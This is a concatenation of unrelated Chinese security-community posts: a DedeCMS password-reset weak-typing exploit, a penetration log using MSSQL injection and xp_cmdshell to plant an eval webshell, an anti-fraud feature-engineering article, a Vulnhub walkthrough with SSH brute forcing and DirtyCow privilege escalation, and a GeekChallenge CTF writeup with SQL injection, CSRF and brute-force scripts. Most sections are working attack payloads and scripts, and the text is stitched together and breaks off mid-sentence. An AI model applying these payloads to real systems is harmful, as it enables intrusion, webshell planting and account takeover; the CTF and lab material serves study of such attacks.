还存在一种十六进制余字符串进行比较运算时的问题。例子如下：
"0x1e240"=="123456"//true
"0x1e240"==123456//true
"0x1e240"=="1e240"//false
当其中的一个字符串是0x开头的时候，PHP会将此字符串解析成为十进制然后再进行比较，0×1240解析成为十进制就是123456，所以与int类型和string类型的123456比较都是相等。
下面我们来看一个dedecms的弱类型安全问题。
#### 漏洞分析
`dedecms/member/resetpassword.php` //75行
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起，您的安全问题或答案回答错误","-1");
exit();
}
}
管理员帐号admin的`$row['safequestion']`默认是为`’0’`（字符串），所以`$safequestion`不能为空。否则不进入`$row['safequestion']
== $safequestion`。而`$_GET[‘safequestion ’]`传过来的值为字符串，当`$_GET[‘safequestion
’`]为`’0’`时进入`if(empty($safequestion))`。当`$_GET[‘safequestion
’]`为`’0.0’`时不进入`if(empty($safequestion))`，而`’0’=’0.0’`进入`if($row['safequestion']
== $safequestion && $row['safeanswer'] ==
$safeanswer)`，右边的`$safeanswer`本身就为空。所以不用理。
跟进函数`sn`：
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件；
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码；
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件；
else
{
return ShowMsg('对不起，请10分钟后再重新申请', 'login.php');
}
}
这里从数据库取出来的值应该为空`$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";`于是进入
if(!is_array($row))
{
//发送新邮件；
newmail($mid,$userid,$mailto,'INSERT',$send);
}
注意一下`$send`为`N`
我们跟进`newmail`函数：
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid."：\r\n您好！感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求，重新设置密码：（注：如果您没有提出申请，请检查您的信息是否泄漏。）\r\n本次临时登陆密码为：".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败，请联系管理员', 'login.php');
}
}
这里直接是对`dede_pwd_tmp`表插入临时密码，临时密码为`$randval =
random(8);`是8位，但是别急。紧接着插入完成之后ShowMsg('稍后跳转到修改页',
`$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);`也就是说在`insert`完成之后跳转把`$randval`输出到了页面。
也就是这个key，这个key就是管理员的临时密码。
利用方法：
先注册一个帐号并登录，然后访问：
`http://localhost//member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1`
就可以发现上面那个包了
#### 结语
不要相信用户输入。应多使用===来避免弱类型安全问题.
* * * | 社区文章 |
## 0x00 前言
事情的起因是一位老哥叫我帮他打一个站点，于是就有了这篇文章
## 0x01 总体思路
发现mssql注入->上cs->失败
通过mssql注入->拿数据->解密失败->进后台无望
最终想到了:
xp_cmdshell->通过cmd中for循环找网站绝对路径->通过unicode编码读取中文->创建表存储unicode编码->读取出网站绝对路径->上网站马->getshell
## 0x02 渗透历程
### 2022.4.15
首先拿到站点肯定是要进行目录扫描，这里也是成功的扫到了后台目录。因为站点是aspx的，所以特意在后台登录处尝试了一下sql注入，果然这里还是存在注入点的
本来想直接拿sqlmap跑的，但是没想到sqlmap把站点跑崩了，给我吓的这下。幸好授权
只能手注了，对于mssql，最快拿shell的办法就是通过xp_cmdshell上传cs马。首先判断是否为sa权限
`admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--`
成功延时，sa权限起飞
于是我迫不急待的掏出我的cs大宝贝，开始上马流程。
上马前当然要判断是否开启了xp_cmdshell，没有开启的话给它开启一下
if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'-- #判断是否开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; #开启xp_cmdshell
通过ping dnslog来判断是否开启成功,接收到信息说明开启了xp_cmdshell
`admin';exec%20master..xp_cmdshell 'ping
nineone1.c704b904.dns.1433.eu.org.';--`
之后就是上传cs马子，因为上线cs马的payload有单引号的原因会导致语句执行失败，所以我们需要将其进行base64编码再上传。使用<https://www.yster.live/runtime-exec-payloads/进行base64编码>
然后我就开始吃包辣条等着cs上线。吃着吃着一包辣条都要吃完了，还是没有上线。没心情吃了。赶紧看下是不是哪里出了问题。本地复现一遍没有问题。这时候想到了可能是杀软将cs马杀掉了。没办法了，菜鸡又不会做cs的免杀马。尝试下注入数据进后台吧。这里因为sqlmap跑不了，于是就自己写了个脚本获取数据，最终也是拿到了数据，但是无奈对方管理员安全意识高，导致密码破解时破解不出。
正当我一筹莫展时，想到了可不可以上传一个aspx马子，aspx马我有免杀啊。但是想要通过aspx马getshell首先得知道网站路径。使劲往网站报错，都没有看到报错路径。没办法了，明天再来搞吧
### 2022.4.16
第二天的时候正好复习了一下linux基础命令，突然想到inux中有着find命令找文件得绝对路径，那么windows中是不是也有相应得命令。百度一下果然有，可以通过for循环来找文件得绝对路径
在windows中运行`for /r "C:\" %i in (test.bmp*) do @echo %i`
`ps：*表示精准匹配(猜的)，如果不加*会有一大堆垃圾数据`
那么我们得思路就来了，可以先在网站上找一个上传点，然后上传图片，这时候图片被重名之后，此服务器上就只有这一个图片。可以通过for循环遍历找这个图片，得到网站绝对路径。但是没有回显，真是个很烧脑得问题。中午吃饭得时候，突然想到，我可以通过创建一个表将图片路径保存到这个表中，然后再去读取这个表。那么我就可以得到网站得路径了！！！
说干就干，先创建一个表。在后面添加一个延时得作用是可以通过延时来判断表是否被创建成功。
`admin';create table path(pathh varchar(100)) waitfor delay'0:0:5';--`
接着就是将图片绝对路径插入表中，这里通过延时也是可以看出数据被插了进去
admin';insert into path(pathh) exec master..xp_cmdshell 'for /r "C:\" %i in (165009984088945243.bmp*) do @echo %i'waitfor delay '0:0:5';--
为了保守起见，验证了一下是否真的成功,可以看到这里成功写入了数据
`admin';if (select COUNT(*)from path)>0 waitfor delay '0:0:5';--`
然后就是用自己写的脚本来跑path表中pathh字段得数据。就在我以为可以拿到绝对路径，离成功不远的时候，麻了结果没有跑出来。跑出来得结果如下:
想了一会，为什么有几个未知字符呢。仔细看了一会代码，代码没有问题啊。百思不得其解时，看了一会ascii表，突然想到会不会这两个字符是中文字符，所以用ascii码跑不出来。懂了，是这么个道理。然后开始查找mssql能表示中文得函数，找到了unicode编码，就可以用来表示中文
然后就当我开始兴致勃勃开始写脚本的时候，突然意识到中文???，中文这么多，怎么可能跑的完，二分法??那也要跑很久，跑起来也太难了不是。跑到海枯石烂，跑到天荒地老，跑到女朋友嫁给别的男人。。。
头大，今天收工了，明天再来吧。
### 2022.4.17
昨晚睡觉得时候实在睡不着，想了一晚，终于给我想到了。既然网站有堆叠注入，那么我是否可以执行语句通过substring函数将路径中汉字的unincode编码保存到另外一个表中，然后我再单独读取这个表的数据，这样我就能拿到汉字得unicode编码。然后再解码一下就可以了
在本地测试一下语句，这里declare是定义变量得意思
接着我们继续打这个站
首先再创建一个表，用来存储汉字得unicode编码
`x admin';create table Cn(unicode varchar(100)) waitfor delay'0:0:5';--`
然后再跑脚本。这里贴上脚本
import requests
import sys
import time
host="http://www.xxx.com/adminxxx/login.aspx"
def write_Unicode():
global host
proxies ={"http":"http://127.0.0.1:8888"}
ans=''
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"
}
for i in range(1,1000):
print('guess'+str(i))
for ch in range(32,129):
if ch==128:
#sys.exit(0)
username="admin';declare @a varchar(100);declare @b varchar(100);select @a=(select top 1 pathh from path);select @b=(select unicode(substring(@a,%d,1)));insert into Cn(unicode) values(@b)waitfor delay '0:0:2'--"%(i)
data={'username':username,'password':'123456'}
ans+='?'
html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies)
break
#username="admin';if ascii(SUBSTRING((select top 1 pathh from path),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch)
username="admin';if ascii(SUBSTRING((select top 1 unicode from Cn),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch)
data={'username':username,'password':'123456'}
print(username)
try:
html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies)
#time.sleep(1)
except:
ans+=chr(ch)
print("data ->"+ans)
break
#dumpData_En()
write_Unicode()
成功跑到第一个中文字符的unicode编码
依次类推即可得到全部的unicode编码，然后解码就可以得到全部的中文字符，最终拿到网站绝对路径。
最后就是上传马子了。通过执行如下payload就行了。当然我这里使用的是免杀aspx马子。
`exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> >
C:/inetpub/xxxxxx/a.asp';`
最终也是成功的拿到了shell
## 0x03 总结
这次渗透经历之所以要记录一下，确实学到了姿势。通过for循环来找网站绝对路径，通过将路径写到表中来读取数据，通过unicode编码来读取中文。 | 社区文章 |
# 【技术分享】人工智能反欺诈三部曲——特征工程
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
近年来，随着移动互联网的兴起，各种传统的业务逐渐转至线上，互联网金融，电子商务迅速发展，商家针对营销及交易环节的推广活动经常以返利的形式进行。由于有利可图，此类线上推广迅速滋生了针对返利的系统性的优惠套利欺诈行为，俗称薅羊毛。由于移动设备的天然隐蔽性和欺诈行为的多变性，传统的防范手段，比如规则系统等就显得有些笨拙和捉襟见肘了，使得薅羊毛看起来仿佛防不胜防。但是正所谓魔高一尺，道高一丈。在实践中，我们发现，一个基于统计和机器学习的多层动态风险评分体系和决策系统能有效地抵御“羊毛党”的攻击。那如何打造这样一个系统呢？
首先，我们来了解下此系统的核心部分之一：特征工程。
特征工程，又称特征学，是学习一个特征的技术的集合，将原始数据转换成为能够被机器学习来有效开发的一种形式。通俗地讲，特征工程对原始数据进行加工，将其转换为精确的，可量化的数据。
著名法国小说《小王子》中有这样的描述：“如果你对大人们说‘我看到一幢用玫瑰色的砖盖成的漂亮的房子，它的窗户上有天竺葵，屋顶上还有鸽子……‘，他们想象不出来房子有多好，必须对他们说‘我看见了一幢价值十万法郎的房子’他们才能理解房子有多好。”文中，从房屋模糊的文学性描述到“十万法郎”就是一个特征学习的例子。
特征工程转换后的数据能被更好的理解和运算，方便我们从貌似渣乱无章的原始数据中找出那些可疑的异常数据。它是机器学习中很重要的一步，也许是最重要的一步。在机器学习领域里有一个不成文的共识，
数据和特征决定了机器学习的上限，而模型和算法只是逼近这个上限而已。
在反欺诈的实践中，我们发现从网络及设备终端、用户行为信息、业务事件频次，欺诈网络图谱这四大维度提取特征，并在此基础上对有组织的薅羊毛行为层层筛查，对风险加以甄别，就能让羊毛党无所遁形。
**
**
**设备终端与网络**
设备终端与网络层面的特征是防范羊毛党的第一道防线，为了规避筛查，或者方便适用自动化工具，欺诈者首先选择在终端做手脚。他们或者适用PC或服务器以脚本或模拟器冒充终端设备，或者在终端设备上，Root,
越狱，打开调试模式，安装一键新机软件，按键精灵等等，也有的正常用户不幸安装了木马程序，而沦为任人摆布的肉鸡。除了终端，网络也是欺诈者最常摆弄的，他们经常适用代理，VPN,
或和一些机房的网络管理人员合作，分散IP，进而冒充来自不同的地域。
为了对抗上面所提到的种种作弊行为，在实践中，我们通常按下面的方法来构造一个设备指纹系统：1）根据收集到的历史数据，形成操作系统签名数据库。这个数据库被用于判断一个设备的操作系统签名是否和声明的操作系统及厂商，型号等吻合，进而判断设备是否是脚本程序或模拟器伪装，是否使用了代理或VPN，是否篡改了UA等设备信息等等；2）对设备的IP来源进行分析，看是否有可疑行为的历史，是否来自机房，从而判断其自动化或作弊的可能性；3）根据设备相关的三十多个特征将设备进行关联，赋予其唯一的身份识别符，此ID是上层特征，即用户行为、频次及欺诈网络图谱的基础。
**用户行为信息**
在坚实的设备指纹的基础上，需要在会话和账号两层采集和提取用户行为信息。在会话的层面上，借助基于概率的聚类模型和模式挖掘算法(sequential
pattern
mining)，将用户的行为模式，比如事件发生的次序以及事件发生的间隔时间，归为几类。并在此基础上识别出异常行为模式。这些标示特征为区分正常用户和欺诈者或自动化工具提供了重要信息；更进一步，在账号的层面上：首先以账号为索引，将会话层面上提取到的行为信息特征按时间串联起来，得到账户层面的异常行为标示特征。其次根据账号相关联的历史行为数据，提取出用户的偏好属性，比如是否为僵尸账号，相邻登录的平均地理距离等。最后，我们将这些信息综合起来，形成特有的用于反欺诈的用户画像。
当一个账号再次出现在业务中时，用户画像中的特征就可以帮助我们评估对应业务事件的风险。在实践中，我们还发现，由“羊毛党”控制的账号，通常具有某些相似性，比如所用手机号码都来自某个号段，用户名都由三个小写字母，五个大写字母和四个数字组成。据此，我们就可以定义账号之间的相似度。这样即使一个账号首次出现，我们也可以使用用户画像，对其风险做一个大致的评估。
用户画像除了本身能直接应用于欺诈行为的判断外。还可作为网络图谱模型的输入，为欺诈网络的发现提供线索和依据。
**业务事件频次特征**
典型的薅羊毛行为的特征表现为短时期，小欺诈额，高频次。从业务角度上来看：由于薅羊毛的欺诈行为有别于正常用户的行为模式，会引起业务事件在某些颗粒度的时间+空间上分布异常。从反欺诈的防范要求角度上来看：需要对异常事件能快速响应，这就要求对客户行为做实时或者近实时的统计、计算。并且综合时间序列分析，个体差异分析以及当前趋势分析这三方面的评估，实时并动态地对异常频次数做标记。
以某互联网公司一个实际的交易薅羊毛案例为例
被监控的交易事件，随着时间，在整体上会形成一个有规律可循的时间分布曲线。一个时间曲线，比如上图的最上面一个小图，其实是由三种效应叠加起来的：
1\. 数据整体随时间的趋势效应，上图的第二小图；
2．数据随时间的周期效应，图中的第三小图。这个其实包含两个方面，一个是同一天各个小时间的个体差异，一个是某一小时对历史上同一小时的惯性关系。
3\. 统计噪音效应。（这部分数据通常被用来做异常分析）
当数据累积到一定量的时候，比如整体分布曲线，能很好的被ARIMA模型（也就是时间序列模型）模拟和预测。ARIMA是统计学中一类模型的统称；ARIMA能自动处理时间维度上的周期变化，动态变化，噪音污染等问题。并对每个小时动态生成一系列异常检验规则。可以理解为如下的一系列规则：某一天10点钟，交易200次以下为正常，200-250为轻度异常，250-350为重度异常等等。
上图是实际的模拟效果，绿色是原始值，红色虚线是预测值，黑线是误差，此案例预测的效果较好。
上面这些结果都是针对整体分布曲线而言的。但是在反优惠套利欺诈的场景里面，我们常常希望在某细颗粒度上制定检测规则：比如某个地域／IP网段每小时交易超过多少为异常。也就是说在时间维度的基础上加入空间维度。这是因为通常来说，欺诈行为会引起在某个空间细颗粒度上，时间分布曲线异常；但不会引起整体层面上的异常，也就是说异常数据会被正常数据淹没掉；而且，整体层面上的模型是无法区分细颗粒度上的差别。换句话说，它只能笼统地告诉我们，数据在某个时段出现了异常，但无法告诉我们在这个时段，按空间维度分比如城市，哪些是异常的，哪些依然是正常的。
在时间维度上加入空间维度，面临两方面的困难：一方面，细颗粒度的维度过高，以网段举例，数据中出现的网段有近十万个，分别建模成本过高；另一方面，细颗粒上的数据通常累积量不够，难以满足时间序列模型所需的条件。通过反复建模实践，我们发现基于贝叶斯框架的生成式模型能较完美地克服上述困难，完成建模目标。由于这类模型综合考虑了事件的时间和空间分布，我们不妨叫它“时空动能模型”。
上图中的两张图是两个不同网段的交易数据分布图。 每副图中蓝色曲线是网段交易曲线，对应着左边的坐标系。红色曲线是整体的分布曲线，对应着右边的坐标系。
蓝色曲线上的红色点是模型得到的异常点，而红色曲线上的蓝点是前述红点所对应时间上的整体分布曲线上的点。
左图上下对比，可以看到，时空动能模型能在整体不异常的情况下，在细颗粒度上面找到异常点。
左右对比，这两张图显现的分别是不常用网段和常用网段，它们的分布曲线完全不相似。是无法用同一模型模拟的。但时空动能模型自动的为两个网段分别建模，自动适应这种动态变化。
上面的例子证明，综合了统计和机器学习技术的模型能在反欺诈异常检测中发挥巨大的作用。
**欺诈网络图谱**
羊毛党经常通过网络发起组织，在一些单点特征上，同正常用户一样呈现出分散的特点，使得单点特征防御难以奏效。但如果将用户行为用网络的形式建模展示，会发现在一些特殊的图形特征上，欺诈行为明显异于正常行为。实践中，我们借助于图学习(Graph
Learning)的一些模型，发现网络图谱模型对于羊毛党的发现特别有效。当然欺诈网络发现依赖于设备指纹以及建立在其基础上的同人模型。
在上面的网络图谱里面，红色点表示不同设备；绿色点表示不同账号；蓝色点表示不同APP。红色点和绿色点之间的虚线表示：该设备注册了这个账号；蓝色点与绿色点之间的虚线表示该账号领取了这个APP的某些奖励。
上面的左图是正常用户的行为网络图谱：不同设备的行为是分散的，不一致的。而右边是“公会式羊毛党”的行为网络图谱。在网络图谱上，羊毛党的设备行为会呈现出高度的一致性和集中性。
以上，我们对网络及设备终端、用户行为信息、业务事件频次，欺诈网络图谱这四大维度的特征工程做了一个简单的介绍。在反欺诈实践中，这些提取出来的特征，结合多层动态模型，能有效地识别出高风险薅羊毛行为，帮助企业打击“羊毛党”。 | 社区文章 |
**作者：KarmA@D0g3**
记录一下自己的Vulnhub-Lampião: 1 通关过程
## 背景
你想继续攻击自己的实验室吗？试试这个全新的易受攻击机器！“Lampião1”。
Goal：得到root权限
Difficulty：easy
Lampião1是一个巴西著名的土匪领袖，flag里面有他的肖像。
## 信息收集
首先用netdiscover确定靶机ip，再用nmap扫下端口
一开始用下面这条命令是扫不出1898端口的（这也是我一开始卡着不知道怎么往下走的原因）
nmap -A 192.168.88.112
用下面这条才能扫出来
nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.11.131
> `-n` (不用域名解析)； `-V` (打印版本信息)；`-Pn` (不检测主机存活)；`--reason`
> (显示端口处于带确认状态的原因)；`-oN` (将标准输出直接写入指定的文件) ；`-p-` (应该是全部端口都扫一遍)
22是ssh端口，那就先按照惯例，看看80端口吧。
就一个字符画，有个fi duma egud？不晓得什么意思～～
## Durpal
既然80端口没有什么收获，那就来1898端口瞧瞧，看到是Drupal，那就先常规思路走一波
### Getshell
网上的都是drupal 7.x 利用PHP
filter模块去getshell，但是这里登陆模块似乎用不了？因为注册时激活邮件发不出去，没办法激活，所以这条路看来是走不通了。
### SSH爆破
这不是一个纯英文的网站，会不会有可能网站里面的英文是密码提示？？可不可以做个字典爆破一波？
**[Cewl](https://github.com/digininja/CeWL)** 了解一下，
默认文章肯定不会有tips，那就弄另一篇生成个字典看看
# cewl -w dict.txt http://192.168.11.131:1898/?q=node/1
仔细观察，发现还有两个作者（username？？），试试呗～
# echo tiago > usernames.txt
# echo eder >> usernames.txt
爆破工具 **[hydra](https://github.com/vanhauser-thc/thc-hydra)** 了解一下……
> -t 速度，-e nsr就是把用户名密码换着来爆破
既然搞到账号密码了，赶紧连进去呗。
一个低权限，那就查查内核什么的，看看怎么提权
tiago@lampiao:~$ uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
tiago@lampiao:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
用一个[脚本](https://github.com/mzet-/linux-exploit-suggester)看看现成的exp有哪些
$ wget -q -O /tmp/linux-exploit-suggester.sh https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
$ chmod +x /tmp/linux-exploit-suggester.sh
$ /tmp/linux-exploit-suggester.sh
...
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847.cpp
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
dirtycow走你～
$ wget -q -O /tmp/40847.cpp https://www.exploit-db.com/download/40847.cpp
$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun
Received su prompt (Password: )
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~#
Root权限到手～
root@lampiao:~# cat flag.txt
9740616875908d91ddcdaa8aea3af366
flag里面这一串是什么鬼～
在80端口的根目录发现一个lampiao.jpg
网页上打不开，scp到本地发现下面这幅图
网页上打不开难道是做过手脚？md5不能解密，那就看看这个图是不是flag
root@lampiao:/var/www/html# md5sum lampiao.jpg
9740616875908d91ddcdaa8aea3af366 lampiao.jpg
好吧，还真是～著名的Lampião！
## 总结
1. 条条大路通罗马，套路一定要骚！骚！骚！
2. ssh爆破中的cewl和hydra工具的使用
3. 提权的基本操作 | 社区文章 |
# 2.GeekChallenge
## 1.web
### **1.朋友的学妹**
url：<http://49.234.224.119:7413/>
右键点击查看源码，找到flag=U1lDe0YxQF80c19oNExwZnVsbGxsbGx9
然后base64解码得到SYC{F1@_4s_h4Lpfullllll}
### **2.EZwww**
url：<http://47.100.46.169:3901/>
根据网站提示备份是个好习惯，猜测可以进行敏感文件扫描
在此使用御剑，发现www.zip文件
访问该文件下载并解压得到flag文件
打开得到flag：SYC{th1s_1s_4_f4ke_fl4g}，这个falg是错误的
打开index.php文件，审计代码发现
这段代码的意思是对该段字符串”c3ljbDB2ZXI=“进行base64解码，结果为sycl0ver，并且以post的方式提交数据a=sycl0ver,
即可得到正确的flag：SYC{Backup_1s_4_good_h4bit_l0l}
### **3.刘壮的黑页**
url :<http://106.54.75.217:8080/>
访问该网站，根据提示”你听说过请求方式吗“，可以判断跟GET/POST请求有关
往下翻查看源代码
这段代码的意思是当用GET方式提交admin值为username参数，用POST方式提交syclover值为password参数时，就会输出flag
得到flag为SYC{d0_y0u_k0nw_GET?}
### **4.欢迎**
url：<http://49.234.224.119:8000/>
根据提示知道不能用GET请求，所以我们可以用burp抓包，修改为POST请求，放包
得到一段源代码，审查该代码
此段代码是shal加密函数绕过，意思是说需要提交的参数
前一句roam1与roam2的值或者类型不相同
后一句roam1与roam2的值和类型都相同
参考
x !== y | 绝对不等于 | 如果 x 不等于 y，或它们类型不相同，则返回 true | 5!=="5" 返回 true
---|---|---|---
| |
x === y | 绝对等于 | 如果 x 等于 y，且它们类型相同，则返回 true | 5==="5" 返回 false
---|---|---|---
| |
因为在php中sha1函数无法处理数组,当处理数组时会返回false
两者都为false即可绕过强比较
构造语句，POST方式提交
roam1[]=1&roam2[]=2
得到phpinfo页面，搜索，发现这个文件有问题f1444aagggg.php
通过burp，使用POST方式，访问该文件得到flag：SYC{w31c0m3_t0_5yc_r0@m_php1}
### **5.EZgit**
url：<http://47.100.46.169:3902/>
根据提示，本题与git文件泄露有关
下载GitHack-master，使用GitHack.py进行扫描目标网站（注意：这个脚本只能使用python2运行，python3无法运行）
然而并没有得到正确flag
访问<http://47.100.46.169:3902/.git/>
后来知道是git版本错误,更换工具Git_Extract-master
kali里输入：
git clone <https://github.com/style-404/Git_Extract.git>
cd Git_Extract
dir
python2 git_extract.py <http://47.100.46.169:3902/.git/>
得到flag：SYC{I_l0ve_sycl0ver_l0l}
### **6.我是大黑客**
url：<http://39.106.144.160:100/>
访问网页，发现liuzhuang.php.bak文件
浏览器访问该文件
下载下来打开，是一句话木马
浏览器访问<http://39.106.144.160:100/liuzhuang.php>
使用蚁剑进行连接，打开终端
cd ../../退出到根目录
find flag查找flag文件
cat flag查看flag文件得到flag：SYC{1iuzHuang_yyd_G0d!}
### **7.ezbypass**
url：<http://49.234.224.119:7417/>
浏览页面，根据提示要以GET方式提交a和b两个变量，并且与strcmp的值比较，并让strcmp返回NULL值
注意a和b不能相等
strcmp()函数只有在相等的情况下返回0。 当strcmp函数比较出错的时候就会返回NULL(也就是0)值
构造url：[http://49.234.224.119:7417/?a=1&b=2](http://49.234.224.119:7417/?a=1&b=2)
努力，构造url：[http://49.234.224.119:7417/?a[]=1&b=2](http://49.234.224.119:7417/?a\[\]=1&b=2)
根据提示，以POST方式提交一个不是数字的变量c=123a
php弱比较(==) 若字符串以数字开头，则取开头数字作为转换结果，若无则输出0
得到flag：SYC{php_4s_so_funny}
### **8.带恶人六撞**
url：<http://49.234.224.119:7415/>
根据提示，数据库里有大家关于他的描述
与数据库有交互的地方就有可能产生SQL注入
第一种方式手注
直接构造?id=1页面正常
直接构造?id=1'页面报错
此处存在SQL注入
第一种方法，手注
判断字段数为4
?id=1' order by 4-- q
判断回显点,我们可以在1,2,4处查询我们想要的内容
?id=-1' union select 1,2,3,4-- q
查询数据库名为geek_sql
?id=-1' union select 1,2,3,database()-- q
查询数据表名为blog,fllllag
?id=-1' union select 1,2,3,group_concat(table_name) from
information_schema.tables where table_schema=database()-- q
查询fllllag表下的字段名为id,fllllllag
?id=-1' union select 1,2,3,group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name='fllllag'-- q
查询fllllllag字段的内容welcome_to_syclover,longlone_need_gf,得到SYC{liuzhuang _4s_
@_G00d_m@n}
?id=-1' union select 1,2,3,group_concat(fllllllag) from fllllag-- q
第二种方式sqlmap跑
查询数据库名为geek_sql
Sqlmap -u <http://49.234.224.119:7415/?id=1> \--dbs --batch
查询数据库geek_sql的数据表名为blog,fllllag
Sqlmap -u <http://49.234.224.119:7415/?id=1> -D geek_sql --tables --batch
查询fllllag表下的字段名为id,fllllllag
Sqlmap -u <http://49.234.224.119:7415/?id=1> -D geek_sql -T fllllag --columns
--batch
查询fllllllag字段的内容welcome_to_syclover,longlone_need_gf,得到SYC{liuzhuang _4s_
@_G00d_m@n}
Sqlmap -u <http://49.234.224.119:7415/?id=1> -D geek_sql -T fllllag -C
fllllllag --dump --batch
### **9.flagshop**
url：<http://173.82.206.142:8005/index.php>
根据提示使用用admin账号登录，盲猜密码admin，成功，也可用burp爆破
在主页的flag商店页面，下拉，点击购买flag的链接
考点:csrf(跨站脚本攻击)
提示：
没有sessionid！别想当管理员（机器人？）
你知道csrf吗？
通过提示知道不需要通过伪造session来成为管理获得钱
进入页面,进行登录注册到达主页
可以看到购买flag需要10000M
可以通过Longlone(财务部部长)账户进行突破
跳转到报告页面
可以看到这里是普通用户和Longlone用户可以交互的地方
当我们提交报告中有链接时,他就会点击链接
这时候就要构造csrf来进行金币盗取
查看表单信息
验证码通过python脚本撞md5得到
import hashlib
for i in range(9999999):
md5_ins = hashlib.md5((str(i)).encode('utf-8'))
a=md5_ins.hexdigest()
if a[:5] == "6d996":
print(i)
break
构造csrf脚本
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="target" value="re1wn" />
<input type="hidden" name="money" value="100000000000000000000000000000" />
<input type="hidden" name="messages" value="nihao" />
<input type="submit" value="Submit request" id="click"/>
</form>
<script type="text/javascript">
document.getElementById("click").click();
</script>
</body>
</html>
提交到自己的服务器上,在将链接通过报告提交
过一会就会得到自己需要的钱,直接购买flag即可
得到flag：SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}
### **10.忏悔的刘壮**
漏洞url： <http://120.79.197.4:5000/do_answer>
考点：爬虫
题目,每次选择一个选项有1/6概率成功
当一次失败后又会重新累计忏悔次数
查看请求头,知道了每次get访问时cookie中就有答案
写出爬虫脚本带着cookie中的答案多次提交
import requests
def request_func(req):
request_n = request.post("http://120.79.197.4:5000/check",data=req.cookies)
print(request_n.text)
return request_n
request = requests.session()
req = request.get("http://120.79.197.4:5000/")
req2 = request.post("http://120.79.197.4:5000/check",data=req.cookies)
print(req2.text)
need_req = request_func(req2)
i = 0
while i < 20:
i += 1
need_req = request_func(need_req)
在20次忏悔后得到了flag
SYC{this_is_your_flag}
## 2.Misc
### **2.壮言壮语**
根据题目给出的信息
